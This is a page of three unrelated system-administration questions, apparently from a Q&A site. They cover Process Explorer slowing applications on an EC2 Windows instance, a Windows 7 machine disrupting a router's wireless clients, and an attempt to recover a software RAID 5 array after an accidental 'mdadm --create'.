• Why does Process Explorer cause highly targeted failure of some applications / basic UI functions in a high-power EC2 Windows instance?

  - by Dan Nissenbaum

  Update: I have determined that Process Explorer itself - the program I am using to debug a performance issue - seems to be the cause of the issue. See note, with updated question, at end. I am running a high-power (cc2.8xlarge) Amazon AWS EC2 Windows instance off of a boot EBS volume, provisioned at 2500 PIOPS, which was created from a snapshot of a previous boot volume. My purpose with the instance is to use it as a development workstation with many developer tools installed, such as Visual Studio, a local XAMPP stack, etc. I have upwards of 40 programs installed on the machine. The usability of the instance as a development machine often works quite well. The RDP lag is adequately small. I have used it for hours on end without problems for some of my most intense development tasks. As a result, I have just purchased a reserved instance, and I opted to rebuild my development machine starting from scratch with a Windows Server 2012 AMI. After having installed all of my desired/required applications for development over this past week, again the machine seems to often work well and I have worked for up to an hour at a time without problems doing heavy development work. However, I continue to run into catastrophic OS usability issues that may prevent me from being able to rely on this machine as a development machine. I would like to track down the source of the problem, if there is an easily identifiable source. (Update: I have tracked down the source to be Process Explorer, the very program I was using to debug the problem. See update at end.) The issues are as follows. (These are some primary examples) Some applications, after a period of adequate responsiveness, suddenly begin to respond very, very slowly to basic user interface actions such as clicking on menus and pressing Ctrl-Tab to switch between open documents. Two examples are UltraEdit and PhpEd. It typically takes ~2 seconds for a menu to appear, and ~4 seconds to switch between open documents. Additionally, insertion point motion in the editor is lagged by upwards of ~2 seconds. Process Explorer, which I am using to help debug the problem, seems to run acceptably for a couple of minutes, but on multiple occasions Process Explorer itself hangs completely. It hangs at the same time as the problems noted above. When it hangs, it is 100% unresponsive. Clicking on its taskbar icon neither causes it to come to the top or go behind, and its viewable area is filled with nothing but a region partially containing pure white and partially containing incomplete windows widgets that are unreadable, and that never change. Waiting 10 minutes does not clear the problem. Attempting to force-quit Process Explorer by right-clicking on its taskbar icon and choosing "Close Window" takes about 5 full minutes to exit (Process Explorer itself can't be used to exit Process Explorer, and it is registered as a Task Manager substitute). Other programs work just fine during this time. For example, Chrome tabs flip very quickly back and forth, menus pop open instantly, web pages load quickly, and typing in forms/web applications inside the browser works promptly. Another example of an application that works crisply is Filemaker - its menus open instantly, and switching views in this application occurs promptly. Other applications also work without issue. Also, switching between applications occurs promptly as well. It is only a handful of applications that exhibit the problem, with some primary examples given above. At first I thought that EBS IOPS might be a problem. Therefore, I ran Performance Monitor, and watched the "Disk Transfers/sec" monitor in real time. At no point did this measure come anywhere close to hitting the 2500 PIOPS provisioned for the EBS volume. The RAM was also well under the limit (~10 GB used out of 60 GB). I did notice that one CPU core (out of 32 logical cores) was fully thrashing at 100% (i.e., ~3.1%) during the problematic periods. This seems to indicate that a single CPU core is handling the menus / flipping between open documents (for some applications only) / managing the Process Explorer user interface, and that this single core was hosed for some reason during the problematic periods. Also note that I have a desktop workstation (Windows 7) that I also use as a development machine, via a remote connection, with a nearly identical set of programs installed, and this desktop workstation does not exhibit any of the problems I've discussed above. I have been using it heavily for well over a year now. Any suggestions regarding either the source of the problem, or steps I might take to investigate the source of the problem, would be appreciated. Thanks. Note: After extensive testing & investigation, I have noticed that when I quit Process Explorer, the problem vanishes and the system performance returns to normal, and then reappears quickly when I run Process Explorer again (note: again, the performance problems only appear for a subset of applications - other applications work perfectly fine during the same period). My question is therefore (thankfully) more specific: Why does Process Explorer cause highly targeted failure of some applications (including itself) and basic UI functions, in a high-power EC2 Windows instance?

• Windows 7 Machine Makes Router Drop -All- Wireless Connections [closed]

  - by Hammer Bro.

  Note: I accidentally originally posted this question over at SuperUser, and I still think the issue is caused by some low-level networking practice of Windows 7, but I think the expertise here would be more apt to figuring it out. Apologies for the cross-post. Some background: My home network consists of my Desktop, a two-month old Windows 7 (x64) machine which is online most frequently (N-spec), as well as three other Windows XP laptops (all G) that only connect every now and then (one for work, one for Netflix, and the other for infrequent regular laptop uses). I used to have a Belkin F5D8236-4 wireless router, and everything worked great. A week ago, however, I found out that the Belkin absolutely in no way would establish a VPN connection, something that has become important for work. So I bought a Netgear WNR3500v2/U/L. The wireless was acting a little sketchy at first for just the Windows 7 machine, but I thought it had something to do with 802.11N and I was in a hurry so I just fished up an ethernet cable and disabled the computer's wireless. It has now become apparent, though, that whenever the Windows 7 machine is connected to the router, all wireless connections become unstable. I was using my work laptop for a solid six hours today with no trouble, having multiple SSH connections open over VPN and streaming internet radio in the background. Then, within two minutes of turning on this Windows 7 box, I had lost all connectivity over the wireless. And I was two feet away from the router. The same sort of thing happens on all of the other laptops -- Netflix can be playing stuff all weekend, but if I come up here and do things on this (W7) computer, the streaming will be dead within ten minutes. So here are my basic observations: If the Windows 7 machine is off, then all connections will have a Signal Strength of Very Good or Excellent and a Speed of 48-54 Mbps for an indefinite amount of time. Shortly after the Windows 7 machine is turned on, all wireless connections will experience a consistent decline in Speed down to 1.0 Mbps, eventually losing their connection entirely. These machines will continue to maintain 70% signal strength, as observed by themselves and router. Once dropped, a wireless connection will have difficulty reconnecting. And, if a connection manages to become established, it will quickly drop off again. The Windows 7 machine itself will continue to function just fine if it's using a wired connection, although it will experience these same issues over the wireless. All of the drivers and firmwares are up to date, and this happened both with the stock Netgear firmware as well as the (current) DD-WRT. What I've tried: Making sure each computer is being assigned a distinct IP. (They are.) Disabling UPnP and Stateful Packet Inspection on the router. Disabling Network Sharing, SSDP Discovery, TCP/IP NetBios Helper and Computer Browser services on the Windows 7 machine. Disabling QoS Packet Scheduler, IPv6, and Link Layer Topology Discovery options on my ethernet controller (leaving only Client for Microsoft Networks, File and Printer Sharing, and IPv4 enabled). What I think: It seems awfully similar to the problems discussed in detail at http://social.msdn.microsoft.com/Forums/en/wsk/thread/1064e397-9d9b-4ae2-bc8e-c8798e591915 (which was both the most relevant and concrete information I could dig up on the internet). I still think that something the Windows 7 IP stack (or just Operating System itself) is doing is giving the router fits. However, I could be wrong, because I have two key differences. One is that most instances of this problem are reported as the entire router dying or restarting, and mine still works just fine over the wired connection. The other is that it's a new router, tested with both the factory firmware and the (I assume) well-maintained DD-WRT project. Even if Windows 7 is still secretly sending IPv6 packets or the TCP Window Scaling implementation that I hear Vista caused some trouble with (even though I've tried my best to disable anything fancy), this router should support those functions. I don't want to get a new or a replacement router unless someone can convince me that this is a defective unit. But the problem seems too specific and predictable by my instincts to be a hardware hiccup. And I don't want to deal with the inevitable problems that always seem to take half a day to resolve when getting a new router, since I'm frantically working (including tomorrow) to complete a project by next week's deadline. Plus, I think in the worst case scenario, I could keep this router connected directly to the modem, disable its wireless entirely, and connect the old Belkin to it directly. That should allow me to still use VPN (although I'll have to plug my work laptop directly into that router), and then maintain wireless connections for all of the other computers. But that feels so wrong to me. Anyone have any ideas what the cause and possible solution could be? Clarifications: The Windows 7 machine is directly connected via an ethernet cable to the router for everything above. But while it is online, all other computers' wireless connections become unusable. It is not an issue of signal strength or interference -- no other devices within scanning range are using Channel 1, and the problem will affect computers that are literally feet away from the router with 95% signal strength.

• Recover RAID 5 data after created new array instead of re-using

  - by Brigadieren

  Folks please help - I am a newb with a major headache at hand (perfect storm situation). I have a 3 1tb hdd on my ubuntu 11.04 configured as software raid 5. The data had been copied weekly onto another separate off the computer hard drive until that completely failed and was thrown away. A few days back we had a power outage and after rebooting my box wouldn't mount the raid. In my infinite wisdom I entered mdadm --create -f... command instead of mdadm --assemble and didn't notice the travesty that I had done until after. It started the array degraded and proceeded with building and syncing it which took ~10 hours. After I was back I saw that that the array is successfully up and running but the raid is not I mean the individual drives are partitioned (partition type f8 ) but the md0 device is not. Realizing in horror what I have done I am trying to find some solutions. I just pray that --create didn't overwrite entire content of the hard driver. Could someone PLEASE help me out with this - the data that's on the drive is very important and unique ~10 years of photos, docs, etc. Is it possible that by specifying the participating hard drives in wrong order can make mdadm overwrite them? when I do mdadm --examine --scan I get something like ARRAY /dev/md/0 metadata=1.2 UUID=f1b4084a:720b5712:6d03b9e9:43afe51b name=<hostname>:0 Interestingly enough name used to be 'raid' and not the host hame with :0 appended.

Is there any tool that will help me to revive at least some of the data? Can someone tell me what and how the mdadm --create does when syncs to destroy the data so I can write a tool to un-do whatever was done? After the re-creating of the raid I run fsck.ext4 /dev/md0 and here is the output root@tanserv:/etc/mdadm# fsck.ext4 /dev/md0 e2fsck 1.41.14 (22-Dec-2010) fsck.ext4: Superblock invalid, trying backup blocks... fsck.ext4: Bad magic number in super-block while trying to open /dev/md0 The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblock: e2fsck -b 8193 Per Shanes' suggestion I tried root@tanserv:/home/mushegh# mkfs.ext4 -n /dev/md0 mke2fs 1.41.14 (22-Dec-2010) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=128 blocks, Stripe width=256 blocks 122101760 inodes, 488379392 blocks 24418969 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=0 14905 block groups 32768 blocks per group, 32768 fragments per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 102400000, 214990848 and run fsck.ext4 with every backup block but all returned the following: root@tanserv:/home/mushegh# fsck.ext4 -b 214990848 /dev/md0 e2fsck 1.41.14 (22-Dec-2010) fsck.ext4: Invalid argument while trying to open /dev/md0 The superblock could not be read or does not describe a correct ext2 filesystem.
